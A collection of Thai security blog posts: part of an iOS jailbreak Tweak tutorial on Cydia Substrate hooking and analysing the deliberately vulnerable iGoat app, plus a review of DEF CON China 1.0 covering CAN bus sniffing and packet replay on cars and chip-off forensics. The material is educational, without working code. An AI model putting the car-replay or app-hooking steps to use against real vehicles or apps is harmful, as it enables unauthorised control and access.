มาถึงตรงนี้แล้วก็พอจะรู้ว่าส่วนที่เราต้องยุ่งด้วยมากที่สุดก็คือ MobileHooker นั่นเอง MobileHooker มี API หลัก ๆ ให้เราใช้งานเพื่อ hook method/function อยู่ คือ [MSHookMessageEX](http://www.cydiasubstrate.com/api/c/MSHookMessageEx/){rel=""nofollow""} และ [MSHookFunction](http://www.cydiasubstrate.com/api/c/MSHookFunction/){rel=""nofollow""}
API ทั้ง 2 ตัว จะถูกเรียกใช้งานบ่อยมากในการเขียน Tweak เรียกว่าคือหัวใจของ Tweak เลยก็ว่าได้ เพราะฉะนั้นการเข้าใจว่าจริง ๆ แล้ว API ทั้งสองตัวทำงานยังไง จะทำให้เราเข้าใจและพัฒนา Tweak ได้ดียิ่งขึ้น
### MSHookMessageEX
ใช้สำหรับ hook Objective-C method เพื่อเปลี่ยนการทำงานของ method นั้น ๆ ให้เป็นการทำงานแบบใหม่ของเราเอง โดยจะทำในระดับ [Objective-C runtime](https://developer.apple.com/documentation/objectivec/objective-c%5Fruntime?language=objc){rel=""nofollow""}
แล้ว `MSHookMessageEX` ใช้วิธีไหนเข้าไปเปลี่ยนการทำงานของ method?
ก่อนอื่นจะต้องเข้าใจความหมายของคำว่า method, selector และ implementation ใน Objective-C ก่อน

ความสัมพันธ์ของ method, selector และ implementation (original from: {rel=""nofollow""})
Method — คือ entry หนึ่งใน [dispatch table](https://en.wikipedia.org/wiki/Dispatch%5Ftable){rel=""nofollow""} ของ class ที่ประกอบไปด้วย selector (ทำหน้าที่เป็น key) และ implementation (ทำหน้าที่เป็น value)
Selector — คือ String ที่เป็นชื่อของ method ในขณะ runtime
Implementation — คือ pointer ที่ชี้ไปยังจุดเริ่มต้นการทำงานของ method
เมื่อมีการเรียกใช้ method เกิดขึ้น ก็จะมีการหาค่าของ implementation (value) โดยใช้ selector (key) ซึ่งกระบวนการนี้จะเกิดขึ้นในขณะ runtime นั่นหมายความว่าเรามีโอกาสที่จะเปลี่ยน implementation ของ method ที่เราต้องการได้ และ Objective-C runtime ก็มี function ให้ทำแบบนั้นได้ เช่น function `[method_setimplementation](https://developer.apple.com/documentation/objectivec/1418707-method%5Fsetimplementation?language=objc)`
โดยวิธีการสับเปลี่ยน implementation ของ method แบบนี้ มีชื่อในวงการว่า "[method swizzling](https://medium.com/rocknnull/ios-to-swizzle-or-not-to-swizzle-f8b0ed4a1ce6){rel=""nofollow""}" นั่นเอง
`MSHookMessageEX` ใช้หลักการที่พูดถึงไปข้างต้นในการ interact กับ Objective-C runtime โดยตรงเพื่อทำการสับเปลี่ยน implementation ของ method ทำให้ implementation ชี้ไปยัง function ของเราที่สร้างขึ้นมาใหม่แทน
## MSHookFunction
ใช้สำหรับ hook C, C++ function เพื่อเปลี่ยนวิธีการทำงาน โดยจะทำในระดับ assembly ซึ่งแตกต่างจาก Objective-C runtime ที่มี feature สำหรับการเปลี่ยน implementation
แทนที่จะแก้ไข assembly เองเพื่อเปลี่ยนวิธีการทำงานของ function ซึ่งยากกว่าการใช้งาน feature ของ Objective-C runtime มาก `MSHookFunction` จะเป็นตัวทำหน้าที่นี้แทน เราจะสามารถ hook C, C++ function ได้ โดยที่ไม่จำเป็นต้องไปแก้ไข assembly โดยตรง
วิธีการคร่าว ๆ ในการทำงานของ `MSHookFunction` นั้น คือการเปลี่ยน assembly ในขั้นก่อนจะเริ่ม execute instruction ของ function เป้าหมาย ให้ jump ไปยัง function ที่เราเขียนขึ้นมาใหม่ จากนั้นจึง jump กลับมายัง flow เดิม ตามรูป
{width="100%"}
เมื่อใช้งาน Theos ในการพัฒนา Tweak ตัว Theos เองจะมีวิธีการ hook ที่ง่ายกว่าการเรียกใช้งาน `MSHookMessageEX` และ `MSHookFunction` ตรง ๆ แต่เบื้องหลังก็คือการไปเรียกใช้งาน API ทั้ง 2 ตัวนั่นแหละ หรือใครอยากจะเรียกใช้งาน `MSHookMessageEX` และ `MSHookFunction` โดยตรงก็สามารถทำผ่าน Theos ได้เช่นเดียวกัน
API ของ Cydia Substrate ไม่ได้มีแค่ 2 API ที่กล่าวมาเท่านั้น ยังมีให้เลือกใช้งานอีกมากมาย สามารถดูเพิ่มเติมได้จาก[ที่นี่](http://www.cydiasubstrate.com/id/264d6581-a762-4343-9605-729ef12ff0af/){rel=""nofollow""}
---
### ทิ้งท้าย..
ใน Part นี้ ได้มีการพูดถึงพื้นฐานที่ควรต้องรู้เกี่ยวกับ Tweak และ Cydia Substrate โดยส่วนใหญ่ไปแล้ว ในส่วนของ Part ต่อไป จะพูดถึงการเริ่มลงมือพัฒนา Tweak ของ application ที่ไม่มีความซับซ้อนมาก ตั้งแต่ต้นจนถึงขั้นตอนที่ได้ Tweak ขึ้นมา และนำไปติดตั้งเพื่อใช้งานในเครื่อง jailbreak ต่อไป
เจอกันใน Part หน้าครับ!!
[/blogs/the-basic-of-developing-ios-tweak-part-2-4](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-2-4)
# Review DEF CON China 1.0
จบกันไปแล้ว สำหรับงานconference ขวัญใจ hacker ทั้งหลาย กับงาน DEF CON China 1.0เมื่อวันที่ 30พฤษภาคม – 2 มิถุนายน 2562 โดยเป็นการจัดต่อเนื่องกันกับ DEF CON China beta ที่เป็นงาน DEF CON งานแรกที่จัดนอกสหรัฐอเมริกา ซึ่งเป็นการทดลองจัดไปก่อนหน้า
สำหรับทางทีมงานของ ACinfotec ได้ไปเข้าร่วมงานในครั้งนี้ด้วยเช่นกัน และได้เก็บภาพบรรยากาศ รวมถึงประสบการณ์ มาเล่าและรีวิว ให้ได้อ่านกันครับ สำหรับหัวข้อใน main stageนั้น จะไม่พูดถึงมากนัก เพราะอีกไม่นานในเว็บของ DEF CON เอง ก็จะมี upload video ของแต่ละหัวข้อใน main stage ไปบนเว็บไซต์อยู่แล้ว (ตอนนี้ยังมีแค่ slideนำเสนอ) ท่านใดสนใจก็สามารถเข้าไปดูเพิ่มเติมได้ที่[https://media.defcon.orgครับ](https://media.defcon.org%E0%B8%84%E0%B8%A3%E0%B8%B1%E0%B8%9A){rel=""nofollow""} การรีวิวในครั้งนี้จะเน้นไปในส่วนของvillage และ workshop ในงาน เนื่องจากไม่ได้มีการบันทึก video ไว้เหมือนกับหัวข้อที่ speakerพูดใน main stage
บรรยากาศโดยรวมในงานก็จัดได้ค่อนข้างสวยงามออกไปแนวCyberpunkเลยทีเดียว ซึ่งสถานที่ในการจัดงานครั้งนี้จะเป็นเขตที่เป็นโรงงานเก่าในเมืองปักกิ่ง ซึ่งถูก renovateใหม่ให้กลายเป็นสถานที่ที่ใช้จัดงาน event ต่าง ๆ รวมถึงงาน DEF CON China 1.0 ในครั้งนี้
ทางเข้าไปสถานที่จัดงานหลัก จะเห็นได้ว่ามีการตรวจค้นที่เข้มงวดซึ่งเป็นปกติของทุกที่ในจีนครับ
เมื่อเดินเข้างานมาแล้วก็จะมาเจอกับจุดลงทะเบียนเพื่อรับของไว้สำหรับเข้างาน โดยจะได้แฟ้มมา 1 อัน และข้างในก็จะมีเอกสารแนะนำแผนผังของงาน รายละเอียดข้อมูลพื้นฐานต่าง ๆ ของงาน DEF CON รวมถึง badge ที่ใช้สำหรับเข้างานครับ
ใกล้ ๆ จุดลงทะเบียน ก็จะมี boothของ sponsor ของงานที่มาจัดกิจกรรมให้ได้ร่วมสนุกกันเล็ก ๆ น้อย ๆ เพื่อรับของที่ระลึกกัน
สิ่งที่ค่อนข้างน่าสนใจคือboothที่ทางผู้จัดได้ให้ลองใช้ iPhone scan QR code จากนั้นให้ save รูปที่อยู่ในเว็บดังกล่าวลงไปไว้ในเครื่อง เครื่องก็จะ shutdown ตัวเองทันที โดย ณ ตอนนั้นช่องโหว่นี้ยังเป็น 0-day อยู่ กล่าวคือยังไม่มี patchแก้ไขนั้นเอง
สำหรับกิจกรรมหลัก ๆ ที่มีในงานก็จะเป็น main stage ที่ speaker ในแต่ละหัวข้อขึ้นมาพูดกัน,กิจกรรม Capture The Flag, workshop สอนในหัวข้อต่าง ๆ และที่ขาดไม่ได้และเป็นเอกลักษณ์ของ DEF CON เลยคือ village นั่นเองครับ ในแต่ละ village ก็จะมีการพูดบรรยายหรือทำกิจกรรมต่าง ๆ กันไป ตามชื่อของ village นั้น ๆ ครับ เนื่องจากจัดที่ประเทศจีน และชาวจีนส่วนใหญ่ไม่ได้พูดหรือเข้าใจภาษาอังกฤษกันมากนัก เพราะฉะนั้นในหลาย ๆ กิจกรรม ก็จะมีการพูดบรรยายเป็นภาษาจีนบ้าง หรือมีล่ามแปลภาษาจีนให้เป็นช่วง ๆ บ้างระหว่างบรรยาย
## DEF CON Villages
สำหรับในครั้งนี้ก็มีvillage มาเปิดให้ได้ไปเข้าร่วมกันถึง 10 villages ด้วยกัน เยอะกว่าครั้งที่แล้วอยู่เล็กน้อยซึ่งอยู่ที่ 9 villages
สำหรับในครั้งนี้มี village คือ
1. Lockpick Village
2. Car Hacking Village
3. Recon Village
4. Hardware Hacking Village
5. Packet Hacking Village
6. Blockchain Village
7. VXCON Village
8. AI Village
9. Bugzee soldering Village
10. Black window Village
หากอ่านชื่อแล้วก็ยังสงสัยว่าแต่ละvillageมีกิจกรรมอะไรบ้าง สามารถไปอ่านรายละเอียดได้ที่นี่เลยครับ {rel=""nofollow""}
สำหรับบริเวณที่จัด village ก็ทำได้สวยงาม น่าสนใจเลยทีเดียว ทางทีมงานก็ได้รวบรวมภาพบรรยากาศบริเวณนั้นมาให้ชมกันครับ
ในหลาย ๆ villageก็มีกิจกรรมที่ค่อนข้างน่าสนใจเลยทีเดียว โดยสำหรับ village ที่ทีมงานคิดว่ามีความน่าสนใจและอยากที่จะมาแชร์ประสบการณ์ที่ได้เข้าร่วมให้อ่านกัน มีดังต่อไปนี้ครับ
## 1. Car Hacking Village
สำหรับใน village นี้ เป็น village ที่เกี่ยวกับการ hackรถนั่นเอง แต่จากการที่ได้เข้าไปสัมผัสจริง ๆ แล้ว จะเรียกว่า hackก็ได้ไม่เต็มปากเต็มคำซักเท่าไหร่ เพราะวิธีการที่วิทยากรใน village กำลังสาธิตและอธิบายให้ฟังตอนเข้าไปนั้น จะเน้นไปที่การทำ reverse engineering รถ ซะมากกว่า
สำหรับขั้นตอนคร่าว ๆ ในขณะที่สาธิตอยู่คือ วิทยากรกำลัง sniff ข้อมูล ใน Controller Area Network (CAN bus) ของรถยนต์ โดย CAN bus คือ network ที่อุปกรณ์หรือ microcontroller ต่าง ๆ ภายในรถใช้ส่งข้อมูลหากัน
หลายท่านอาจจะสงสัยว่า แล้วจะเชื่อมต่อCAN bus เพื่อ sniffข้อมูลได้อย่างไร?
โดยทั่วไปแล้วรถทุกคันจะมี OBD (On-board diagnostics) port อยู่ ซึ่งเป็น portที่สามารถเชื่อมต่อกับ CAN bus และเอาไว้อ่านค่าจากอุปกรณ์หรือmicrocontroller ต่าง ๆ ในรถได้ และนอกจากจะอ่านค่าได้แล้ว ในรถหลายรุ่น หลายยี่ห้อ ที่ gateway ไม่ได้มี securityที่ดีนักในการป้องกัน CAN bus ของรถ ทำให้ hackerสามารถส่งpacket ไปใน CAN bus เพื่อสั่งให้รถทำในสิ่งที่ต้องการได้ เช่น บีบแตร, ลดกระจกลง หรือสั่งให้รถเบรก เป็นต้น
สำหรับตำแหน่งของ OBD port ของรถแต่ละรุ่น แต่ละยี่ห้อก็จะมีตำแหน่งที่แตกต่างกันออกไป
แต่หาก gateway มี security ที่ดีพอ ก็ทำให้ hacker จะไม่สามารถส่ง packet เข้าไปในCAN bus ได้โดยตรง ทำให้ต้อง bypass gatewayออกไปก่อนซึ่งในกรณีนี้จะต้องทำการหา CAN bus gatewayของรถให้เจอ และต่อสายเชื่อมต่อไปยัง CAN bus โดยตรง (อ้อมไปต่อข้างหลัง gateway เลยนั่นเอง) สำหรับในขั้นนี้จะต้องทำการรื้อรถเพื่อหา gateway กันเลยทีเดียว
เมื่อหาจุดที่ต้องเชื่อมต่อเจอแล้ว จากนั้นก็ใช้อุปกรณ์ในการเชื่อมต่อกับ CAN bus เพื่อให้ computerสามารถ sniff หรือส่งค่าไปใน CAN bus ได้ ผ่านทาง USB โดยมีอุปกรณ์หลายตัวด้วยกันในตลาดที่สามารถทำแบบนี้ได้ เช่นอุปกรณ์ที่นำมาโชว์ใน village
จากนั้นเมื่อเชื่อมต่อCAN bus ของรถได้แล้ว ขั้นตอนต่อไปก็คือ หากเราต้องการจะสั่งงานรถ อย่างเช่นสั่งให้มีเสียงแตรดังขึ้นมา เราก็ต้องทดลองกดแตรของรถและเฝ้า monitor traffic ใน CAN bus ว่า ระหว่างกดแตรนั้น trafficเป็นอย่างไร มี packet อะไรที่แตกต่างไปจาก packetในสถานะปกติออกมาไหม และลอง replay packet นั้นใหม่ เพื่อทดสอบดูว่าpacket ที่ได้มาคือ packet ที่ใช้สั่งให้เสียงแตรดังจริงหรือไม่
เมื่อได้packetที่ต้องการมาแล้ว เราก็สามารถที่จะสั่งให้รถทำตามที่เราต้องการได้ โดยการเก็บ packet ไว้ replay ไปยัง CAN bus นั่นเอง โดยsoftware ที่วิทยากรใช้สาธิตการmonitor traffic และ replay packet บน CAN bus คือ โปรแกรมที่มีชื่อว่า Vehicle spy
และจากการที่ได้พูดคุยกับวิทยากรก็พบว่า การเข้าถึง CAN bus ได้นั้น นอกจากจะเชื่อมต่อกับ OBD port หรือเชื่อมต่อกับ CAN bus โดยตรงแล้ว บางครั้งระบบ entertainment system บนรถ ก็เป็นช่องทางให้สามารถถูก hack และเข้าถึง CAN bus เพื่อสั่งการรถได้เช่นกัน
สำหรับท่านใดที่สนใจทางด้านนี้และอยากจะศึกษาเพิ่มเติมก็สามารถหาอ่านได้จากหนังสือเล่มนี้เลยครับ Car Hacker’s Handbook ({rel=""nofollow""})
ไปต่อกันที่villageถัดไป ที่จะมาเล่ากิจกรรมให้ได้อ่านกันคือVXCON Village ครับ
## 2. VXCON Village
สำหรับVillageนี้ จะเป็น Village ที่จัดโดยบริษัท VXRL ซึ่งเป็นบริษัทสัญชาติฮ่องกงที่ทำงานทางด้าน Cybersecurity โดยกิจกรรมที่ทีมงานได้ไปเข้าร่วมใน village นี้คือกิจกรรมที่ทำการchip-off (การเอา chip ออกมาจากแผงวงจร)โดยในกรณีนี้จะเป็นสถานการณ์สมมติที่ให้ทำการ chip-off USB ที่มีandroid image อยู่ข้างใน จากนั้นให้ทำการ recovery android image ออกมา และหาคำตอบของโจทย์ทั้งสี่ข้อต่อไปนี้ให้ได้
เรียกได้ว่าเป็นmini CTF ที่สนุกพอสมควรเลยทีเดียวครับ โดยวิธีการ chip-off ที่จะกล่าวถึง สามารถนำไปประยุกต์ในการเอา chip internal memory ของโทรศัพท์ออกมาได้เช่นเดียวกัน แต่สำหรับโทรศัพท์มือถือรุ่นใหม่ ๆ ถึงแม้จะสามารถเอาchip ออกมาได้ก็จริง แต่ก็จะไม่สามารถอ่านข้อมูลข้างในได้แล้ว เพราะส่วนใหญ่ก็จะมี security feature ในการป้องกันการทำลักษณะนี้ เช่น การ encrypt ข้อมูลใน memory เป็นต้นครับ
สำหรับขั้นตอนแรกในการchip-offเลยคือ การละลายตะกั่วที่ยึด chip กับแผงวงจรออกมาก่อน โดยใช้เครื่อง IRDA T-862 ซึ่งเป็นจะเป็นเครื่องที่ฉายแสงให้เกิดความร้อน แล้วทำให้ตะกั่วละลาย จากนั้นเราจึงสามารถดึง chip ออกมาได้
เมื่อเอา chip ออกมาได้แล้ว ก็สำรวจดูความสะอาด pin ของ chip ว่ามีตะกั่วติดอยู่ระหว่าง pin หรือไม่ ถ้ามีตะกั่วติดอยู่ ก็ต้องทำความสะอาดโดยการละลายออก ซึ่งจะใช้เครื่อง IRDA T-862 ช่วยเหมือนเดิม หรือจะใช้หัวแร้งบัดกรีในการละลายตะกั่วออกก็ได้
เมื่อทำความสะอาดเสร็จเรียบร้อยแล้ว ก็นำ chip ที่ได้ไปใส่ในตัวอ่าน chip eMMC
จากนั้นนำไปต่อกับ computer แล้วเราจะสามารถอ่านข้อมูลใน chip ดังกล่าว และ copy ข้อมูลออกมาได้
เมื่อได้ข้อมูลออกมา ก็ตะลุยโจทย์ทั้งสี่ข้อเพื่อหาคำตอบกันต่อได้ครับ
พูดถึงvillageที่มีกิจกรรมหนัก ๆ ใช้ความคิดเยอะ ๆ กันไปแล้ว ก็มาถึง village ที่มีกิจกรรมเบา ๆ กันบ้าง village ต่อไปที่จะพูดถึงคือ Bugzee soldering Village ครับ
## 3. Bugzee soldering Village
สำหรับใน villageนี้ ก็จะมีกิจกรรมให้ได้สร้างหุ่น BugZee ที่มีไฟLED ติดอยู่ และสามารถสั่นได้กันครับ โดยเบื้องต้นแล้วเมื่อเข้าไปใน village ก็จะมีอุปกรณ์ และวิธีการทำแต่ละขั้นตอนอธิบายไว้อย่างละเอียดเลย
เมื่ออ่าน Quick Manual เสร็จแล้ว ก็ลงมือทำกันทีละขั้นตอนเลยครับ
สุดท้ายแล้วก็จะได้ BugZee ออกมา 1 ตัว ที่เมื่อใส่ถ่านไปแล้ว ก็จะมีไฟติดที่ปีก และสั่นได้ด้วย vibrator ที่ถูกติดตั้งไว้ครับ
## DEF CON Workshop
พูดถึงvillageกันไปเยอะแล้ว ต่อไปก็จะมารีวิวworkshop ที่ DEF CON กันบ้าง สำหรับการที่จะเข้าร่วม workshop ได้นั้น หลังจากที่ได้จองบัตรซื้อบัตรเข้างาน DEF CON เสร็จแล้ว ไม่กี่วันก่อนงานจะเริ่ม ก็จะมีแจ้งเตือนมาทางอีเมล ให้ผู้เข้าร่วมทำการลงทะเบียนและเลือกเวลาที่จะเข้าร่วม workshop
โดยworkshopในครั้งนี้มีอยู่จำนวน 8 workshop ด้วยกัน (workshopทั้งหมดมีอะไรบ้าง และมีเนื้อหาในภาพรวมเป็นอย่างไร สามารถเข้าไปดูรายละเอียดได้ที่นี่ครับ {rel=""nofollow""})
และแน่นอนว่า การที่จะเข้า workshopทั้งหมด 8 หัวข้อเลย ก็ดูจะเสียเวลาไปกับ workshopมากเกินไป ทางทีมงานจึงได้เลือก workshop ที่น่าสนใจคือExploit Development for Beginners, Reverse Engineering Mobile Apps, Introduction To Physical Access Controls และ DEFCON China 1.0 Badge Hacking Workshop ครับ สำหรับ DEFCON China 1.0 Badge Hacking Workshop นั้น จะมีอีกบทความแยกต่างหาก เพื่อให้ได้อรรถรสมากยิ่งขึ้น
ว่าแล้วก็เดินทางไปworkshopกันเลยครับ โดยส่วนที่จัดงาน workshop ก็จะเป็นอีกอาคารหนึ่ง แยกออกไปจากส่วนที่เป็น main stage แต่ไม่ได้ไกลกันมากนัก
สำหรับworkshop ไหน ที่มีที่นั่งเหลือ ก็สามารถ walk-inเข้าไปได้เลยครับ ไม่จำเป็นต้องลงทะเบียนจองล่วงหน้าก่อน แต่สำหรับ work shop ที่ไม่มีที่นั่งแล้ว แน่นอนว่าคนที่ลงทะเบียนจองไว้ก็ได้สิทธินั้นก่อน
พูดเรื่องสถานที่กันไปเยอะแล้ว มาเริ่ม reviewบรรยากาศ workshop กันดีกว่าครับ เริ่มจาก workshop แรกเลย คือ
## 1. Exploit Development for Beginners
สำหรับใน work shop นี้ ผู้สอนคือ คุณ Sam Bowneและ คุณ Elizabeth Biddlecomeโดยคุณ Sam Bowne ซึ่งเป็น instructor ทางด้าน hacking และ security อยู่ที่ City College San Franciscoโดยมีประสบการณ์ในการจัดworkshop ที่ conference มาแล้วมากมายด้วยกัน ทั้ง DEF CON, BSides และ BlackHat เท่านั้นยังไม่พอคุณSam Bowne ก็ยังเคยได้ Black Badge ของDEF CON อีกด้วย (เป็น badge ที่จะได้รับเมื่อชนะกิจกรรม CTF ในงาน และมีสิทธิในการเข้างาน DEF CON ฟรีตลอดชีพ)
เนื้อหาใน work shop นี้ก็จะพูดถึงวิธีการ develop exploit ขึ้นมา โดยยกตัวอย่างจากกรณีศึกษาง่าย ๆ เช่น การใช้ช่องโหว่ SQL injection, ช่องโหว่ command injection ไปจนถึงขั้นที่สูงมากยิ่งขึ้น เช่น Buffer overflow, Heap overflow เป็นต้น โดยในระหว่างการสอนนั้น ก็จะมีกิจกรรม mini CTF ในห้อง ซึ่งแต่ละส่วนของเนื้อหาก็จะมีแบบฝึกหัดให้ทำ จากนั้นจะมีหน้าเว็บให้ผู้เข้าร่วมสามารถsubmit คำตอบของแบบฝึกหัด และชื่อขึ้นไปบนระบบได้ แล้วก็จะมีกระดานคะแนนให้ทุกคนได้ดูกัน
จากความรู้สึกของทีมงานนั้น การสอนค่อนข้างเร็วมาก (อาจจะเนื่องด้วยเวลาที่ไม่มากนัก คือ 4 ชั่วโมง) ทำให้หากคนที่ไม่มีพื้นความรู้ด้านนี้มาก่อน อาจจะตามไม่ทันและไม่เข้าใจเนื้อหาได้
แต่ก็มีข้อดีตรงที่สามารถเข้าไปอ่านทบทวนเองได้จากเว็บไซต์ของ คุณ SamตามURL นี้ครับ {rel=""nofollow""}
## 2. Reverse Engineering Mobile Apps
ใน Work shop นี้ก็สอนโดยคุณ Sam Bowneและ คุณ Elizabeth Biddlecomeเช่นเดียวกัน และมีกิจกรรม CTF เล็ก ๆ น้อย ๆ เหมือนกับworkshop ก่อนหน้า โดยในเนื้อหาจะพูดถึงการReverse Engineer Mobile App ทางฝั่ง Android เป็นหลัก ซึ่งจะมีการสอนตั้งแต่การติดตั้ง Android emulator เช่น Genymotion, BlueStacks การใช้งาน ADB (Android Debug Bridge) ไปจนถึงการใช้งาน Qark และ AndroBug เพื่อหาช่องโหว่ของ applicaiton โดยการสอนจะเน้นไปที่ตัวอย่างจากapplication จริง ๆ ที่มีให้ดาวน์โหลดได้จาก app store
สำหรับกรณีศึกษาที่ทำให้เห็นว่าหลาย ๆ applicationในโลกแห่งความเป็นจริงนั้น ยังละเลยหรือมองข้าม security อยู่ โดยกรณีที่แปลกที่สุด หรือเรียกว่าตลกร้ายที่สุดเลยก็ว่าได้คือ มี applicationที่เกี่ยวกับ alumni ของมหาวิทยาลัยแห่งหนึ่ง โดยจะต้องlogin ก่อนจึงจะสามารถใช้งาน application ได้ โดยปกติแล้ว application จะต้องทำการส่ง usernameและ password ไปให้ server เพื่อทำการตรวจสอบว่า username และ password นี้ถูกต้องหรือไม่ แต่สำหรับ application ดังกล่าว กลับทำตรงข้ามคือ application จะทำการส่ง username ไปหา server จากนั้น server จะทำการส่งpassword ของ username ดังกล่าวกลับมา และเปรียบเทียบในฝั่ง client ว่า password ถูกต้องหรือไม่ ก่อนที่จะอนุญาตให้เข้าใช้งาน application ต่อไป นั้นทำให้ hacker สามารถที่จะส่ง requestไปยัง server เพื่อดู password ของ username ใด ๆ บนระบบก็ได้ทันที
และยังมีอีกหลาย ๆ กรณีที่น่าสนใจ และน่านำไปศึกษาเพื่อปรับปรุง security ของ application ที่องค์กรพัฒนาอยู่ให้ดียิ่งขึ้นไปครับ โดยกรณีศึกษาและเนื้อหาทั้งหมดของ workshopก็สามารถดูได้ที่ {rel=""nofollow""}
และสุดท้ายที่ขาดไม่ได้เลยคือ ต้องขอขอบคุณทาง ACinfotec เป็นอย่างสูง ที่สนับสนุนการเดินทางครั้งนี้ ทำให้ทีมงานได้มีประสบการณ์และแรงบันดาลใจจากการที่ได้ไปสัมผัสกับงาน Cybersecurity conference ระดับโลกอย่าง DEF CON เพื่อนำประสบการณ์และแรงบันดาลใจที่ได้ มาประยุกต์ใช้กับวงการ Cybersecurity ของประเทศไทย ให้มีความเป็นสากลและก้าวหน้าไปอีกขั้นครับ
# The basic of developing iOS Tweak (Part 2/4)
หลังจากที่ได้ Intro กันไปแล้วใน Part 1
[/blogs/the-basic-of-developing-ios-tweak-part-1-4](https://incognitolab.com/blogs/the-basic-of-developing-ios-tweak-part-1-4)
เกี่ยวกับ Tweak และ Cydia Substrate ว่าคืออะไร และทำงานอย่างไร สำหรับใน Part 2 นี้ เราจะมาเริ่มการวิเคราะห์ application เพื่อพัฒนา Tweak อย่างง่าย ๆ กัน ซึ่งขั้นตอนในการพัฒนาสามารถแบ่งคร่าว ๆ ได้เป็น 5 ขั้นตอน ดังนี้

ขั้นตอนการพัฒนา Tweak
1. หาไฟล์ application bundle (.app) ของ application ที่ต้องการจะทำ Tweak
2. ทำ static analysis ตัว application เป้าหมาย เพื่อหา component ที่ต้องการแก้ไข
3. ทำ dynamic analysis ตัว application เป้าหมาย เพื่อหา component ที่ต้องการแก้ไข
4. ทดสอบแก้ไข component ที่เจอ
5. พัฒนา Tweak โดยใช้ Theos
การพัฒนา Tweak ที่จะพูดถึงในบทความนี้ จะเป็นการพัฒนา Tweak ของ [native application](https://searchsoftwarequality.techtarget.com/definition/native-application-native-app){rel=""nofollow""} ที่พัฒนาด้วย Objective-C โดย native applicaiton บน iOS จะแบ่งง่าย ๆ ได้เป็น 2 ประเภท ดังนี้
1. System application คือ built-in application ที่ติดมากับอุปกรณ์ เช่น Notes, Camera, iCloud รวมถึง application โดยส่วนใหญ่ที่ติดตั้งโดยใช้ Cydia
2. Store application คือ application ที่ download มาจาก App Store หรือ application ที่ติดตั้งเองโดยใช้ไฟล์ประเภท .ipa และ .app
ซึ่งลักษณะโครงสร้างของทั้ง 2 ประเภทนั้น จะมีโครงสร้างต่างกันเล็กน้อย ทำให้วิธีในการวิเคราะห์และพัฒนา Tweak ก็ต่างกันเล็กน้อยเช่นกัน แต่สำหรับใน Part นี้เราจะมาเริ่มกันจาก store application กันก่อน
เนื้อหาที่จะเขียนต่อไปจะทดสอบโดยอ้างอิงจากอุปกรณ์/โปรแกรมดังนี้
- iPhone 5S ระบบปฏิบัติการเป็น iOS 11.4.1 ที่ [Jailbreak](https://www.theiphonewiki.com/wiki/Jailbreak){rel=""nofollow""} โดย [unc0ver](https://github.com/pwn20wndstuff/Undecimus){rel=""nofollow""}
- macOSX Mojave version 10.14
- Xcode version 10.2.1
สำหรับการพัฒนา Tweak ใน iOS แต่ละ version อาจจะมีรายละเอียดที่แตกต่างกันออกไป แต่ก็จะมี concept ที่สามารถนำไปประยุกต์ใช้ได้เหมือนกัน
ใน Part 2 นี้เราจะพัฒนา Tweak ของ application ที่ชื่อว่า [iGoat](https://igoatapp.com/){rel=""nofollow""} ซึ่งเป็น application ที่สร้างมาเพื่อให้มีช่องโหว่ทางด้าน security ไว้สำหรับให้ security researcher และ developer ได้เรียนรู้
ขั้นแรกก่อนที่จะเริ่มลงมือทำ เราจะต้องตั้งเป้าหมายก่อนเป็นอันดับแรกว่าจะพัฒนา Tweak ที่ใช้ทำอะไร การกำหนดเป้าหมายที่ชัดเจนนั้นมีความสำคัญ เพราะหลายครั้ง จะทำให้เราหาจุด cut-in point ได้ และไม่เสียเวลาในการไปวิเคราะห์จุดอื่นที่ไม่เกี่ยวกับเป้าหมายที่ตั้งไว้
---
## กำหนดเป้าหมายก่อนลงมือทำ
Application iGoat จะมี exercise ให้ฝึกอยู่หลาย exercise ด้วยกัน ในบทความนี้ เราจะมาเขียน Tweak สำหรับ exercise `Runtime Analysis` → `Personal Photo Storage` เป้าหมายของ exercise นี้ จริง ๆ แล้วคือการหา password มาใส่ให้ถูกต้อง เพื่อที่จะเข้าไปดูรูปภาพใน personal storage ให้ได้\*\* แต่นอกจากจะหา password ให้ได้แล้ว เราจะตั้งเป้าหมายเพิ่มเติมว่า \*\*Tweak ของเราจะต้องนำ password ที่ถูกต้องมาใส่ในช่อง text field ให้โดยอัตโนมัติและมีลักษณะเป็นดังรูป

Password ที่ถูกต้องจะปรากฎขึ้นมาในช่อง text field อัตโนมัติ
เมื่อตั้งเป้าหมายได้แล้ว อันดับต่อไปคือการลงมือทำ สูดหายใจเข้าลึก ๆ และมาเริ่มขั้นตอนแรกกันเลยครับ
---
### 1. หาไฟล์ Application Bundle (.app)
การติดตั้ง application บน iOS โดยส่วนใหญ่แล้ว หากไม่พึ่ง App Store ก็สามารถทำได้โดยนำไฟล์ [IPA](https://www.theiphonewiki.com/wiki/IPA%5FFile%5FFormat){rel=""nofollow""} ของ application มาติดตั้งด้วยตัวเอง ถ้าเทียบกับฝั่ง Android แล้วไฟล์ IPA ก็เปรียบเสมือนไฟล์ [APK](https://en.wikipedia.org/wiki/Android%5Fapplication%5Fpackage){rel=""nofollow""} นั้นเอง
ลักษณะของไฟล์ IPA นั้น จะเป็นไฟล์ที่ถูก compress ไว้ (สามารถ extract โดยใช้ ZIP ได้) โดยจะมีโครงสร้างภายในเป็นดังรูป

โครงสร้างของไฟล์ IPA
- ไฟล์ [iTunesArtWork](https://blog.razb.me/pulling-apart-an-ios-app/#attachment%5F280){rel=""nofollow""} เป็นไฟล์รูป icon ของ application ที่ iTunes และ App Store ใช้ในการจัดการตัวไฟล์ IPA
- [iTunesMetadata.plist](https://blog.razb.me/pulling-apart-an-ios-app/#gist84870321){rel=""nofollow""} เป็นไฟล์ที่เก็บข้อมูลทั่วไปที่ iTunes และ App Store ใช้ในการจัดการตัวไฟล์ IPA เช่น copyright, วันที่ซื้อ application, ข้อมูลของคนที่ซื้อ และข้อมูลทั่วไปของ developer เป็นต้น
- โฟลเดอร์ [META-INF](https://blog.razb.me/pulling-apart-an-ios-app/#gist84870410){rel=""nofollow""} จะประกอบไปด้วย metadata ทั่ว ๆ ไปของไฟล์ IPA
- ส่วนที่สำคัญคือส่วนที่อยู่ในโฟลเดอร์ Payload\*\* ซึ่งเป็นไฟล์ application bundle (\*\*.app) ที่จะประกอบไปด้วยส่วนที่จำเป็นในการที่จะทำให้ application สามารถทำงานได้อย่างสมบูรณ์ โดยเฉพาะส่วนที่มีความสำคัญคือไฟล์ executable หลักของ application ก็จะอยู่ใน application bundle นี้เช่นเดียวกัน ซึ่งโครงสร้างหลัก ๆ ของ application bundle จะมีลักษณะดังรูป

